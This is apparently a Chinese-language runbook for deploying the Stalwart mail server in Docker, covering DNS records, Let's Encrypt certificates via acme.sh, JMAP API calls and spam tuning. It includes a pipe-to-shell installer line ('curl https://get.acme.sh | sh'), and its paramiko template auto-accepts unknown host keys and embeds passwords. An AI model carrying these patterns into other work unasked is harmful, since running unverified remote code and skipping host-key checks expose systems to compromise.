Zero

Stalwart 邮件服务器完整部署

Wed, 26 Aug 2026 18:19:23 GMT

前言#

环境：<SERVER_IP> (Ubuntu, Docker) / 域名 example.com / 公网 IP <PUBLIC_IP>（动态，路由器 DDNS 自动更新 A 记录）/ DNS 托管于腾讯云 EdgeOne
版本：Stalwart v0.16.19 (Docker) / acme.sh 3.1.5
最终状态：SMTP+IMAP+JMAP 全功能，Let’s Encrypt TLS 证书，Spam 过滤已调优，外部邮件可正常收发

目录#

架构概述
前置条件
部署 Stalwart 容器
首次配置（Web 后台）
DNS 记录配置
TLS 证书签发（Let’s Encrypt DNS-01）
Spam 过滤器调优
邮件客户端配置
证书续期流程
数据备份与恢复
JMAP API 速查手册
已知问题与排坑记录
诊断脚本索引

1. 架构概述#

1
                         Internet
2
                            │
3
                    ┌───────┴───────┐
4
                    │  Router (NAT)  │  公网 IP: <PUBLIC_IP> (动态)
5
                    │  端口映射:      │  DDNS 自动更新 A 记录
6
                    │  25/443/465/    │  25→<SRV>:25, 443→<SRV>:443,
7
                    │  587/993       │  465→<SRV>:465, 993→<SRV>:993
8
                    └───────┬───────┘
9
                            │
10
                    ┌───────┴───────┐
11
                    │ <SERVER_IP>  │
12
                    │   (Ubuntu)     │
13
                    │                │
14
                    │ ┌───────────┐  │
15
                    │ │  nginx    │  │  :80 (HTTP, ACME 反代)
16
                    │ │  :80      │  │
17
                    │ └─────┬─────┘  │
18
                    │       │        │
19
                    │ ┌─────┴─────┐  │
20
                    │ │ Stalwart  │  │  :25 SMTP, :143 IMAP,
21
                    │ │ (Docker)  │  │  :465 SMTPS, :587 SMTP,
22
                    │ │ v0.16.19  │  │  :993 IMAPS, :443 HTTPS,
23
                    │ │           │  │  :8088 JMAP/API
24
                    │ │ RocksDB   │  │  (→容器内 :8080)
25
                    │ └───────────┘  │
26
                    └────────────────┘

展开收起

关键设计决策：

Stalwart 配置/数据存储在 RocksDB（容器内 /var/lib/stalwart/），不是文件系统的 config.toml
管理通过 JMAP API（HTTP Basic 认证），端点 /jmap 和 /api
TLS 证书用 acme.sh DNS-01 手动模式签发（因端口 80 外网不可达 + Stalwart v0.16.x 内置 ACME 有 bug）
Spam 过滤阈值需手动调高（默认 5.0 对国内邮件过低）
公网 IP 为动态，路由器开启 DDNS 自动更新 mail.example.com 的 A 记录；Stalwart 配置完全 IP 无关（域名证书 + Docker 监听 0.0.0.0），IP 变化无需任何手动操作

2. 前置条件#

2.1 服务器#

项目	要求	当前值
OS	Linux (Ubuntu 推荐)	Ubuntu
Docker	20.10+ + compose v2	已安装
公网 IP	动态/固定均可（动态需路由器 DDNS），25 端口入站不被 ISP 封	<PUBLIC_IP>（动态，路由器 DDNS 自动更新 A 记录）
内存	1GB+ (Stalwart 约 100MB)	充足
开放端口	25(SMTP), 443(HTTPS), 465(SMTPS), 587(Submission), 993(IMAPS)	路由器已映射

2.2 域名与 DNS#

项目	要求	当前值
域名	已注册	`example.com`
DNS 托管	支持 TXT 记录管理	腾讯云 EdgeOne
子域名	`mail.example.com` → A 记录 → 公网 IP	✅

2.3 工具#

Terminal window

1
# 服务器上需要：
2
sudo apt install -y curl openssl dnsutils
3

4
# acme.sh（证书签发工具）
5
curl https://get.acme.sh | sh -s email=admin@example.com
6
source ~/.bashrc
7

8
# 设 Let's Encrypt 为默认 CA
9
~/.acme.sh/acme.sh --set-default-ca --server letsencrypt

3. 部署 Stalwart 容器#

3.1 创建目录与 compose 文件#

Terminal window展开收起

1
mkdir -p /opt/stalwart && cd /opt/stalwart
2
cat > docker-compose.yml << 'EOF'
3
services:
4
  stalwart:
5
    image: stalwartlabs/stalwart:v0.16.19
6
    container_name: stalwart
7
    hostname: mail.example.com
8
    restart: unless-stopped
9
    ports:
10
      - "25:25"      # SMTP — 接收外部邮件
11
      - "143:143"    # IMAP — STARTTLS
12
      - "465:465"    # SMTPS — 隐式 TLS，客户端发信
13
      - "587:587"    # SMTP submission — STARTTLS
14
      - "993:993"    # IMAPS — 隐式 TLS，客户端收信
15
      - "8088:8080"  # Web 管理后台 + JMAP（8088 避开 qBittorrent 的 8080）
16
      - "443:443"    # HTTPS + ACME TLS-ALPN-01
17
    volumes:
18
      - ./data:/opt/stalwart-mail
19
    environment:
20
      - STALWART_HOSTNAME=mail.example.com
21
EOF

展开收起

镜像名注意
官方仓库名是 stalwartlabs/stalwart，不是 stalwartlabs/mail-server（后者已废弃，拉取会报 manifest unknown）。

3.2 启动并获取初始 admin 密码#

Terminal window

1
docker compose up -d
2

3
# 查看首次生成的 admin 账号密码
4
docker compose logs stalwart 2>&1 | grep -i "admin"
5
# 输出形如：User 'admin' created with password 'xxxxxxxxx'

3.3 验证服务运行#

Terminal window

1
docker ps --filter name=stalwart --format '{{.Names}}: {{.Status}}'
2
# 应显示: stalwart: Up X minutes
3

4
docker port stalwart
5
# 应显示所有端口映射
6

7
ss -tlnp | grep -E ':(25|143|465|587|993|443|8088) '
8
# 确认端口监听

数据存储位置

Stalwart 将所有数据（配置、邮箱、证书）存储在 RocksDB 中，位于容器内 /var/lib/stalwart/

compose 中的 ./data:/opt/stalwart-mail 挂载点实际未被容器使用；如需持久化，应挂载 /var/lib/stalwart

当前配置下数据在容器内，不能用 docker compose up -d 重建容器（会丢数据），只能用 docker restart stalwart

4. 首次配置（Web 后台）#

4.1 登录#

打开 http://<SERVER_IP>:8088
用日志中的 admin 账号密码登录
立即改 admin 密码：Settings → Accounts → admin → 修改

4.2 添加域名#

Settings → Domains → Add Domain
填入域名 example.com
保存后，Stalwart 会自动生成 DKIM 密钥对和 DNS Zone File 参考

4.3 创建用户#

Settings → Accounts → New Account
填入邮箱地址（如 admin@example.com）和密码
保存

5. DNS 记录配置#

在 DNS 服务商控制台（本例为腾讯云 EdgeOne）添加以下记录：

类型	主机记录	记录值	优先级	TTL	说明
A	`mail`	`<PUBLIC_IP>`	-	600	邮件服务器指向
MX	`@`	`mail.example.com`	10	600	邮件交换记录
TXT	`@`	`v=spf1 a mx ip4:<PUBLIC_IP> ~all`	-	600	SPF 授权
TXT	`_dmarc`	`v=DMARC1; p=quarantine; rua=mailto:postmaster@example.com`	-	600	DMARC 策略
TXT	`v1-ed25519-20260824._domainkey`	`v=DKIM1; k=ed25519; h=sha256; p=<公钥>`	-	600	DKIM ed25519
TXT	`v1-rsa-20260824._domainkey`	`v=DKIM1; k=rsa; h=sha256; p=<RSA公钥>`	-	600	DKIM RSA

DKIM 公钥获取：Stalwart 后台 Settings → Domains → example.com → DNS Zone File 会显示完整的 DKIM 记录值。

DMARC 策略：测试阶段用 p=quarantine，验证通过后可升 p=reject。

PTR 反向解析：对外发信需公网 IP 的 PTR 指向 mail.example.com，否则 Gmail/QQ 会拒收或进垃圾箱。需联系 ISP 设置。

验证 DNS#

Terminal window展开收起

1
dig MX example.com @8.8.8.8 +short
2
# 应返回: 10 mail.example.com.
3

4
dig A mail.example.com @8.8.8.8 +short
5
# 应返回: <PUBLIC_IP>
6

7
dig TXT example.com @8.8.8.8 +short
8
# 应返回: "v=spf1 a mx ip4:<PUBLIC_IP> ~all"
9

10
dig TXT _dmarc.example.com @8.8.8.8 +short
11
# 应返回: "v=DMARC1; p=quarantine; rua=mailto:postmaster@example.com"
12

13
dig TXT v1-ed25519-20260824._domainkey.example.com @8.8.8.8 +short
14
# 应返回 DKIM 公钥
15

16
dig TXT v1-rsa-20260824._domainkey.example.com @8.8.8.8 +short
17
# 应返回 RSA 公钥

展开收起

6. TLS 证书签发（Let’s Encrypt DNS-01）#

6.1 为什么用 DNS-01#

验证方式	可行性	原因
HTTP-01 (端口 80)	❌	路由器未映射端口 80 入站 / ISP 封入站 80
TLS-ALPN-01 (端口 443)	❌	acme.sh v3.1.5 的 `--alpn` flag 有 bug，实际仍走 HTTP-01；certbot standalone 不支持
DNS-01 (TXT 记录)	✅	只需 DNS 控制台添加 TXT 记录，不依赖任何端口
Stalwart 内置 ACME	❌	v0.16.x 调度器 bug (GitHub #3059)，任务卡 Pending

6.2 签发证书#

Terminal window

1
# Step 1: 生成 ACME 订单（获取 TXT 记录值）
2
# 注意：每次执行 --issue 都会生成新的 TXT 值！
3
sudo env HOME=$HOME \
4
  ~/.acme.sh/acme.sh --issue -d mail.example.com --dns \
5
  --yes-I-know-dns-manual-mode-enough-go-ahead-please \
6
  --server letsencrypt --force

输出会包含：

1
[...] Domain: _acme-challenge.mail.example.com
2
[...] TXT value: 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'

Terminal window

1
# Step 2: 在 EdgeOne DNS 控制台添加 TXT 记录
2
# 类型: TXT
3
# 主机记录: _acme-challenge.mail
4
# 记录值: <上面输出的 TXT value>
5

6
# Step 3: 验证 DNS 传播
7
dig +short TXT _acme-challenge.mail.example.com @8.8.8.8
8
# 应返回你添加的 TXT 值
9

10
# Step 4: 完成验证（注意是 --renew 不是 --issue！）
11
sudo env HOME=$HOME \
12
  ~/.acme.sh/acme.sh --renew -d mail.example.com --dns \
13
  --yes-I-know-dns-manual-mode-enough-go-ahead-please \
14
  --force

成功输出：

1
[...] Cert success!
2
[...] Your cert is in: ~/.acme.sh/mail.example.com_ecc/fullchain.cer
3
[...] Your cert key is in: ~/.acme.sh/mail.example.com_ecc/mail.example.com.key

6.3 转换密钥格式#

acme.sh 签发的 ECC 证书私钥是 SEC1 格式（BEGIN EC PRIVATE KEY），Stalwart 需要 PKCS#8 格式（BEGIN PRIVATE KEY）：

Terminal window

1
openssl pkcs8 -topk8 -nocrypt \
2
  -in ~/.acme.sh/mail.example.com_ecc/mail.example.com.key \
3
  -out ~/.acme.sh/mail.example.com_ecc/mail.example.com_pkcs8.key
4

5
head -1 ~/.acme.sh/mail.example.com_ecc/mail.example.com_pkcs8.key
6
# 应显示: -----BEGIN PRIVATE KEY-----

6.4 上传证书到 Stalwart（JMAP API）#

Terminal window展开收起

1
# 读取证书和私钥 PEM
2
CERT_PEM=$(cat ~/.acme.sh/mail.example.com_ecc/fullchain.cer)
3
KEY_PEM=$(cat ~/.acme.sh/mail.example.com_ecc/mail.example.com_pkcs8.key)
4

5
# 通过 JMAP 上传证书
6
# 认证: HTTP Basic, 用户 admin@example.com
7
# 端点: http://127.0.0.1:8088/jmap
8

9
# 方法一: 直接 curl（需要用文件传 PEM，命令行太长不便内联）
10
# 写入 JSON 到文件再 POST
11
python3 -c "
12
import json, sys
13
cert = open('~/.acme.sh/mail.example.com_ecc/fullchain.cer').read()
14
key = open('~/.acme.sh/mail.example.com_ecc/mail.example.com_pkcs8.key').read()
15
payload = {
16
    'using': ['urn:ietf:params:jmap:core', 'urn:stalwart:jmap'],
17
    'methodCalls': [['x:Certificate/set', {
18
        'create': {
19
            'cert1': {
20
                'certificate': {'@type': 'Text', 'value': cert},
21
                'privateKey': {'@type': 'Text', 'secret': key}
22
            }
23
        }
24
    }, 'a1']]
25
}
26
with open('/tmp/cert_upload.json', 'w') as f:
27
    json.dump(payload, f)
28
print('JSON written')
29
"
30

31
curl -s -u 'admin@example.com:<PASSWORD>' \
32
  -X POST http://127.0.0.1:8088/jmap \
33
  -H 'Content-Type: application/json' \
34
  -d @/tmp/cert_upload.json
35

36
# 成功返回: {"methodResponses":[["x:Certificate/set",{"created":{"cert1":{"id":"jbmXXXXXXX"}},"accountId":"..."},"a1"]],...}
37
# 记录返回的 cert id

展开收起

6.5 设置域名为 Manual 证书模式#

Terminal window

1
# 将域名 b (example.com) 的证书管理设为 Manual 模式
2
# 这样 Stalwart 就不会尝试自动 ACME（有 bug），而是使用手动上传的证书
3

4
curl -s -u 'admin@example.com:<PASSWORD>' \
5
  -X POST http://127.0.0.1:8088/jmap \
6
  -H 'Content-Type: application/json' \
7
  -d '{
8
    "using": ["urn:ietf:params:jmap:core", "urn:stalwart:jmap"],
9
    "methodCalls": [["x:Domain/set", {
10
      "update": {"b": {"certificateManagement": {"@type": "Manual"}}}
11
    }, "a1"]]
12
  }'
13

14
# 成功返回: {"methodResponses":[["x:Domain/set",{"updated":{"b":null}},"a1"]],...}

6.6 重启并验证#

Terminal window展开收起

1
# 重启 Stalwart 加载新证书（用 docker restart，不要用 compose up）
2
docker restart stalwart
3
sleep 15
4

5
# 验证 443 端口证书
6
echo | openssl s_client -connect 127.0.0.1:443 -servername mail.example.com 2>/dev/null \
7
  | openssl x509 -noout -issuer -subject -dates
8

9
# 期望输出:
10
# issuer=C=US, O=Let's Encrypt, CN=YE1
11
# subject=CN=mail.example.com
12
# notBefore=Aug 25 00:00:00 2026 GMT
13
# notAfter=Nov 23 00:00:00 2026 GMT
14

15
# 验证 465 (SMTPS)
16
echo | openssl s_client -connect 127.0.0.1:465 -servername mail.example.com 2>/dev/null \
17
  | openssl x509 -noout -issuer -subject
18

19
# 验证 993 (IMAPS)
20
echo | openssl s_client -connect 127.0.0.1:993 -servername mail.example.com 2>/dev/null \
21
  | openssl x509 -noout -issuer -subject
22

23
# 外部可达性验证
24
echo | timeout 10 openssl s_client -connect mail.example.com:443 -servername mail.example.com 2>/dev/null \
25
  | openssl x509 -noout -issuer -subject

展开收起

7. Spam 过滤器调优#

7.1 问题现象#

邮件能发但”收不到”——实际是 Stalwart 的反垃圾过滤器将外部邮件（QQ 邮箱等）误判为垃圾邮件，丢进了 Junk Mail 文件夹。

7.2 根因分析#

Stalwart 默认 scoreSpam=5.0（超过 5 分标记为垃圾）。QQ 邮件因以下”正常特征”得分 8-10：

规则	加分	说明
DIRECT_TO_MX	+2.00	直连 MX（无中继）——正常行为
HTML_SHORT_LINK_IMG_1	+2.00	HTML 含图片链接——QQ 邮件正常
FROM_EXCESS_BASE64	+1.50	From 头 Base64 编码——中文发件人名
TO_EXCESS_BASE64	+1.50	To 头 Base64 编码——中文收件人名
MID_RHS_MATCH_FROM	+1.00	Message-ID 域名匹配 From
CTE_CASE	+0.50	Content-Transfer-Encoding 大小写怪癖
MV_CASE	+0.50	MIME-Version 大小写怪癖
DMARC/DKIM/SPF 通过	-0.90	认证全部通过
总计	~8.30	超过阈值 5.0 → 被判垃圾

7.3 修复：提高阈值#

Terminal window展开收起

1
# 查看当前 spam 设置
2
curl -s -u 'admin@example.com:<PASSWORD>' -X POST http://127.0.0.1:8088/jmap \
3
  -H 'Content-Type: application/json' \
4
  -d '{
5
    "using": ["urn:ietf:params:jmap:core", "urn:stalwart:jmap"],
6
    "methodCalls": [["x:SpamSettings/get", {"ids": ["singleton"]}, "c1"]]
7
  }'
8

9
# 修改阈值（scoreSpam 5.0 → 15.0）
10
curl -s -u 'admin@example.com:<PASSWORD>' -X POST http://127.0.0.1:8088/jmap \
11
  -H 'Content-Type: application/json' \
12
  -d '{
13
    "using": ["urn:ietf:params:jmap:core", "urn:stalwart:jmap"],
14
    "methodCalls": [["x:SpamSettings/set", {
15
      "update": {
16
        "singleton": {
17
          "scoreSpam": 15.0,
18
          "scoreDiscard": 0,
19
          "scoreReject": 0,
20
          "trustContacts": true,
21
          "trustReplies": true,
22
          "enable": true
23
        }
24
      }
25
    }, "c1"]]
26
  }'
27

28
# 重启生效
29
docker restart stalwart

展开收起

7.4 SpamSettings 字段说明#

字段	默认值	推荐值	说明
`scoreSpam`	5.0	15.0	超过此分数 → 标记为垃圾
`scoreDiscard`	0	0	超过此分数 → 丢弃（0=禁用）
`scoreReject`	0	0	超过此分数 → SMTP 拒绝（0=禁用）
`enable`	true	true	spam 过滤总开关
`trustContacts`	true	true	信任联系人（不判垃圾）
`trustReplies`	true	true	信任回复邮件

7.5 将误判邮件从 Junk 移到 Inbox#

Terminal window展开收起

1
# 获取 JMAP session（拿到 accountId）
2
SESSION=$(curl -s -u 'admin@example.com:<PASSWORD>' \
3
  http://127.0.0.1:8088/jmap/session)
4
ACCOUNT_ID=$(echo $SESSION | python3 -c "import sys,json; print(json.load(sys.stdin)['primaryAccounts']['urn:ietf:params:jmap:mail'])")
5

6
# 查询 Junk 文件夹中的邮件
7
curl -s -u 'admin@example.com:<PASSWORD>' -X POST http://127.0.0.1:8088/jmap \
8
  -H 'Content-Type: application/json' \
9
  -d "{
10
    \"using\": [\"urn:ietf:params:jmap:core\", \"urn:ietf:params:jmap:mail\"],
11
    \"methodCalls\": [[\"Email/query\", {
12
      \"accountId\": \"$ACCOUNT_ID\",
13
      \"filter\": {\"inMailbox\": \"c\"},
14
      \"limit\": 50,
15
      \"calculateTotal\": true
16
    }, \"q1\"]]
17
  }"
18

19
# 将 Junk 邮件移到 Inbox（清除 $junk 关键字）
20
# 需要替换 eid1, eid2... 为实际邮件 ID
21
curl -s -u 'admin@example.com:<PASSWORD>' -X POST http://127.0.0.1:8088/jmap \
22
  -H 'Content-Type: application/json' \
23
  -d '{
24
    "using": ["urn:ietf:params:jmap:core", "urn:ietf:params:jmap:mail"],
25
    "methodCalls": [["Email/set", {
26
      "accountId": "<ACCOUNT_ID>",
27
      "update": {
28
        "<eid1>": {"mailboxIds": {"a": true, "c": false}, "keywords": {"$junk": null}},
29
        "<eid2>": {"mailboxIds": {"a": true, "c": false}, "keywords": {"$junk": null}}
30
      }
31
    }, "m1"]]
32
  }'

展开收起

Mailbox ID 说明
a = Inbox，c = Junk Mail。这是 Stalwart 的默认邮箱 ID。

8. 邮件客户端配置#

协议	服务器	端口	加密	认证
IMAP (收信)	`mail.example.com`	993	SSL/TLS	密码
SMTP (发信)	`mail.example.com`	465	SSL/TLS	密码
SMTP (备选)	`mail.example.com`	587	STARTTLS	密码
IMAP (备选)	`mail.example.com`	143	STARTTLS	密码
JMAP	`http://<SERVER_IP>:8088`	8088	HTTP (内网)	HTTP Basic
Web 管理	`http://<SERVER_IP>:8088`	8088	HTTP (内网)	HTTP Basic

内网访问提示
内网可使用 <SERVER_IP> 代替 mail.example.com。

9. 证书续期流程#

证书有效期 90 天，建议每 60 天续期一次。acme.sh 的自动续期在 DNS 手动模式下会失败，需手动操作。

Terminal window展开收起

1
# 1. 生成新的 ACME 订单（获取新 TXT 值）
2
#    注意：每次 --issue 生成新订单，TXT 值会变！
3
sudo env HOME=$HOME \
4
  ~/.acme.sh/acme.sh --issue -d mail.example.com --dns \
5
  --yes-I-know-dns-manual-mode-enough-go-ahead-please \
6
  --server letsencrypt --force
7

8
# 2. 在 EdgeOne DNS 控制台更新 TXT 记录：
9
#    类型: TXT
10
#    主机记录: _acme-challenge.mail
11
#    记录值: <上面输出的新 TXT value>
12
#    （删除旧 TXT 值，用新值替换）
13

14
# 3. 验证 DNS 生效
15
dig +short TXT _acme-challenge.mail.example.com @8.8.8.8
16
# 应返回新的 TXT 值
17

18
# 4. 完成验证（注意是 --renew 不是 --issue！）
19
sudo env HOME=$HOME \
20
  ~/.acme.sh/acme.sh --renew -d mail.example.com --dns \
21
  --yes-I-know-dns-manual-mode-enough-go-ahead-please \
22
  --force
23

24
# 5. 转换密钥格式
25
openssl pkcs8 -topk8 -nocrypt \
26
  -in ~/.acme.sh/mail.example.com_ecc/mail.example.com.key \
27
  -out ~/.acme.sh/mail.example.com_ecc/mail.example.com_pkcs8.key
28

29
# 6. 上传新证书到 Stalwart（通过 JMAP API，见第 6.4 节）
30
#    如果有旧证书，先 destroy 旧证书 id，再创建新的
31

32
# 7. 重启 Stalwart
33
docker restart stalwart
34

35
# 8. 验证
36
echo | openssl s_client -connect 127.0.0.1:443 -servername mail.example.com 2>/dev/null \
37
  | openssl x509 -noout -issuer -subject -dates
38
# issuer 应为 Let's Encrypt

展开收起

自动续期（可选）#

如果有腾讯云 API 密钥（SecretId/SecretKey），可用 acme.sh 的 dns_tencent 插件实现全自动续期：

Terminal window

1
# 设置腾讯云 API 密钥
2
export Tencent_SecretId="your_secret_id"
3
export Tencent_SecretKey="your_secret_key"
4

5
# 自动 DNS 模式签发（无需手动添加 TXT）
6
sudo env HOME=$HOME \
7
  Tencent_SecretId="$Tencent_SecretId" \
8
  Tencent_SecretKey="$Tencent_SecretKey" \
9
  ~/.acme.sh/acme.sh --issue -d mail.example.com --dns dns_tencent \
10
  --server letsencrypt --force
11

12
# 之后 acme.sh cron 会自动续期（仍需手动上传到 Stalwart）

10. 数据备份与恢复#

10.1 备份#

Terminal window

1
# Stalwart 数据在容器内 RocksDB (/var/lib/stalwart/)
2
# 停止容器后备份整个容器数据卷
3

4
docker stop stalwart
5
# 备份容器数据（使用 docker cp 从容器提取）
6
docker cp stalwart:/var/lib/stalwart /opt/backup/stalwart-$(date +%F)
7
docker start stalwart
8

9
# 或者备份 compose 挂载目录（如果有持久化配置）
10
tar czf /opt/backup/stalwart-compose-$(date +%F).tar.gz -C /opt/stalwart data

10.2 恢复#

Terminal window

1
docker stop stalwart
2
# 恢复数据
3
docker cp /opt/backup/stalwart-2026-08-25 stalwart:/var/lib/stalwart
4
docker start stalwart

警告

不要用 docker compose up -d 重建容器——会创建新容器，丢失 RocksDB 数据

只能用 docker restart stalwart 或 docker stop/start stalwart

11. JMAP API 速查手册#

所有 API 调用通过 HTTP POST，端点 http://127.0.0.1:8088/jmap，认证 HTTP Basic。

11.1 获取 Session#

Terminal window

1
curl -s -u 'admin@example.com:PASSWORD' http://127.0.0.1:8088/jmap/session
2
# 返回 accountId 等信息

11.2 Domain 管理#

1
// 获取所有 Domain
2
{"using":["urn:ietf:params:jmap:core","urn:stalwart:jmap"],
3
 "methodCalls":[["Domain/get",{"accountId":"<account_id>","ids":null},"d1"]]}
4

5
// 获取特定 Domain (id="b" = example.com)
6
{"using":["urn:ietf:params:jmap:core","urn:stalwart:jmap"],
7
 "methodCalls":[["x:Domain/get",{"ids":["b"],"properties":["name","certificateManagement"]},"d1"]]}
8

9
// 设置 Domain 证书模式为 Manual
10
{"using":["urn:ietf:params:jmap:core","urn:stalwart:jmap"],
11
 "methodCalls":[["x:Domain/set",{
12
   "update":{"b":{"certificateManagement":{"@type":"Manual"}}}
13
 },"d1"]]}

11.3 Certificate 管理#

1
// 查询所有证书
2
{"using":["urn:ietf:params:jmap:core","urn:stalwart:jmap"],
3
 "methodCalls":[["x:Certificate/query",{},"c1"]]}
4

5
// 创建证书（上传 PEM）
6
{"using":["urn:ietf:params:jmap:core","urn:stalwart:jmap"],
7
 "methodCalls":[["x:Certificate/set",{
8
   "create":{
9
     "cert1":{
10
       "certificate":{"@type":"Text","value":"<fullchain PEM>"},
11
       "privateKey":{"@type":"Text","secret":"<PKCS#8 key PEM>"}
12
     }
13
   }
14
 },"c1"]]}
15

16
// 删除证书
17
{"using":["urn:ietf:params:jmap:core","urn:stalwart:jmap"],
18
 "methodCalls":[["x:Certificate/set",{"destroy":["<cert_id>"]},"c1"]]}

展开收起

11.4 SpamSettings 管理#

1
// 获取当前 Spam 设置
2
{"using":["urn:ietf:params:jmap:core","urn:stalwart:jmap"],
3
 "methodCalls":[["x:SpamSettings/get",{"ids":["singleton"]},"s1"]]}
4

5
// 更新 Spam 阈值
6
{"using":["urn:ietf:params:jmap:core","urn:stalwart:jmap"],
7
 "methodCalls":[["x:SpamSettings/set",{
8
   "update":{"singleton":{
9
     "scoreSpam":15.0,
10
     "scoreDiscard":0,
11
     "scoreReject":0,
12
     "trustContacts":true,
13
     "trustReplies":true,
14
     "enable":true
15
   }}
16
 },"s1"]]}

展开收起

11.5 邮件操作#

1
// 查询收件箱邮件数 (mailbox "a" = INBOX)
2
{"using":["urn:ietf:params:jmap:core","urn:ietf:params:jmap:mail"],
3
 "methodCalls":[["Email/query",{
4
   "accountId":"<account_id>",
5
   "filter":{"inMailbox":"a"},
6
   "limit":20,
7
   "calculateTotal":true
8
 },"q1"]]}
9

10
// 查询垃圾邮件 (mailbox "c" = JUNK)
11
{"using":["urn:ietf:params:jmap:core","urn:ietf:params:jmap:mail"],
12
 "methodCalls":[["Email/query",{
13
   "accountId":"<account_id>",
14
   "filter":{"inMailbox":"c"},
15
   "limit":20,
16
   "calculateTotal":true
17
 },"q1"]]}
18

19
// 获取邮件详情
20
{"using":["urn:ietf:params:jmap:core","urn:ietf:params:jmap:mail"],
21
 "methodCalls":[["Email/get",{
22
   "accountId":"<account_id>",
23
   "ids":["<email_id>"],
24
   "properties":["id","subject","from","receivedAt","keywords"]
25
 },"e1"]]}
26

27
// 将邮件从 Junk 移到 Inbox（清除 $junk 标记）
28
{"using":["urn:ietf:params:jmap:core","urn:ietf:params:jmap:mail"],
29
 "methodCalls":[["Email/set",{
30
   "accountId":"<account_id>",
31
   "update":{
32
     "<email_id>":{"mailboxIds":{"a":true,"c":false},"keywords":{"$junk":null}}
33
   }
34
 },"m1"]]}

展开收起

11.6 Python 调用模板#

1
import paramiko, json, io
2

3
client = paramiko.SSHClient()
4
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
5
client.connect('<SERVER_IP>', username='<SSH_USER>', password='PASSWORD', timeout=15)
6
auth = "admin@example.com:PASSWORD"
7

8
def jmap(payload):
9
    """通过 SSH 在服务器上执行 curl 调用 JMAP API"""
10
    sftp = client.open_sftp()
11
    sftp.putfo(io.BytesIO(json.dumps(payload).encode()), '/tmp/c.json')
12
    sftp.close()
13
    stdin, stdout, stderr = client.exec_command(
14
        f"curl -s -u '{auth}' -X POST http://127.0.0.1:8088/jmap "
15
        f"-H 'Content-Type: application/json' -d @/tmp/c.json"
16
    )
17
    return stdout.read().decode()
18

19
# 示例：查询 Domain
20
result = jmap({
21
    "using": ["urn:ietf:params:jmap:core", "urn:stalwart:jmap"],
22
    "methodCalls": [["x:Domain/get", {"ids": ["b"], "properties": ["name"]}, "d1"]]
23
})
24
print(result)
25

26
client.close()

展开收起

12. 已知问题与排坑记录#

12.1 Stalwart 内置 ACME 不工作 (v0.16.x)#

问题：通过 JMAP x:Task/set 创建的 AcmeRenewal 任务一直卡在 Pending 状态，scheduler 不拾取执行。连 Stalwart 内部自动创建的任务也卡。

根因：Stalwart v0.16.x 的 ACME 调度存在 bug（GitHub Discussion #3059 证实）。任务 due 时间被设为 createdAt（过去时间），但 scheduler 仍不拾取。

解决方案：不使用 Stalwart 内置 ACME，改用 acme.sh DNS-01 手动模式签发证书，然后通过 JMAP API 上传。

12.2 端口 80 外网不可达#

问题：Let’s Encrypt HTTP-01 验证失败，LE 报 Timeout during connect (likely firewall problem) 连接 <PUBLIC_IP>:80。

根因：路由器未映射端口 80 入站，或 ISP 封入站 80。

解决方案：使用 DNS-01 验证（不需要端口 80）。

12.3 acme.sh `--alpn` Flag 有 Bug#

问题：acme.sh v3.1.5 的 --standalone --alpn 模式，本应使用 TLS-ALPN-01（端口 443），但实际仍走 HTTP-01（端口 80）。debug 日志显示 acme.sh 收到 LE 的三种挑战后仍选了 http-01。

根因：acme.sh standalone 模式即使指定 --alpn，仍会先检测端口 80 是否被占用，被占用就报错退出，不实际尝试绑定 443。

解决方案：使用 DNS-01 模式绕过所有端口依赖。

12.4 数据目录挂载陷阱#

问题：compose 中 ./data:/opt/stalwart-mail 挂载点实际未被容器使用，数据存在容器内 /var/lib/stalwart/。

影响：docker compose up -d 会重建容器，丢失所有数据。只能用 docker restart stalwart。

解决方案：始终使用 docker restart stalwart / docker stop/start stalwart，避免 compose 重建。

12.5 EC 密钥格式不兼容#

问题：acme.sh 签发的 ECC 证书私钥是 SEC1 格式（BEGIN EC PRIVATE KEY），直接上传到 Stalwart 会报 Failed to parse 错误。

解决方案：用 openssl pkcs8 -topk8 -nocrypt 转换为 PKCS#8 格式（BEGIN PRIVATE KEY）。

12.6 Spam 过滤器误判国内邮件#

问题：QQ 邮箱等国内邮件因 Base64 编码发件人名、直连 MX 等正常特征得分 8-10，超过默认阈值 5.0 被误判为垃圾。

解决方案：将 scoreSpam 从 5.0 提高到 15.0。

12.7 nginx 端口 80 占用冲突#

问题：acme.sh standalone 模式检测到 nginx 占用端口 80，报 “Please stop it first” 后退出。

解决方案：DNS-01 模式不需要端口 80。但需注意 acme.sh standalone 遗留的 python3 进程可能占用 80，需 kill 清理。

12.8 JMAP Certificate 对象格式#

问题：Stalwart JMAP Certificate 对象的 certificate 和 privateKey 字段需要特定格式。

正确格式：

1
{
2
  "certificate": {"@type": "Text", "value": "<PEM 字符串>"},
3
  "privateKey": {"@type": "Text", "secret": "<PEM 字符串>"}
4
}

certificate 用 value 字段
privateKey 用 secret 字段（不是 value）
两者都需要 @type: "Text"

12.9 每次 `--issue` 生成新 TXT 值#

问题：acme.sh DNS 手动模式下，每次执行 --issue 都会创建新 ACME 订单，生成新 TXT 值，旧值立即失效。

解决方案：

只执行一次 --issue 获取 TXT 值
在 DNS 控制台添加该 TXT 记录
等待 DNS 传播
用 --renew（不是 --issue）完成验证——--renew 复用已有订单

12.10 动态 IP 环境#

说明：本环境公网 IP 为动态分配（非固定），路由器已开启 DDNS 自动更新 mail.example.com 的 A 记录。

为什么不影响邮件服务：

DNS A 记录：路由器 DDNS 自动更新，IP 变化后 DNS 在数分钟内跟上
TLS 证书：基于域名 mail.example.com 签发，不绑定 IP
Stalwart 配置：Docker 容器监听 0.0.0.0，不关心公网 IP
端口映射：路由器 NAT 将 25/443/465/587/993/8088 指向 <SERVER_IP>，只要映射规则不变即可

小概率风险：新 IP 段碰巧命中 DNSBL 黑名单 → 部分服务商可能拒收发信。概率极低，无法预防，遇到再处理。

替代方案（如果路由器不支持 DDNS）：

Terminal window

1
# 在服务器上部署 cron 脚本，每 5 分钟检查 IP 变化并更新 DNS
2
# 需要腾讯云 API 密钥（SecretId/SecretKey）
3
# crontab -e
4
# */5 * * * * /opt/stalwart/ddns.sh

13. 诊断脚本索引#

项目中所有 Python 诊断/修复脚本（通过 SSH + paramiko 远程操作）：

证书签发阶段#

脚本	功能
`check.py`	基础 JMAP 调用模板（查询 Task、证书状态）
`stageBB.py`	综合诊断：JMAP session、Domain 配置、docker logs、端口状态
`stageCC.py`	测试 Certificate 创建 API + 检查 nginx ACME 配置
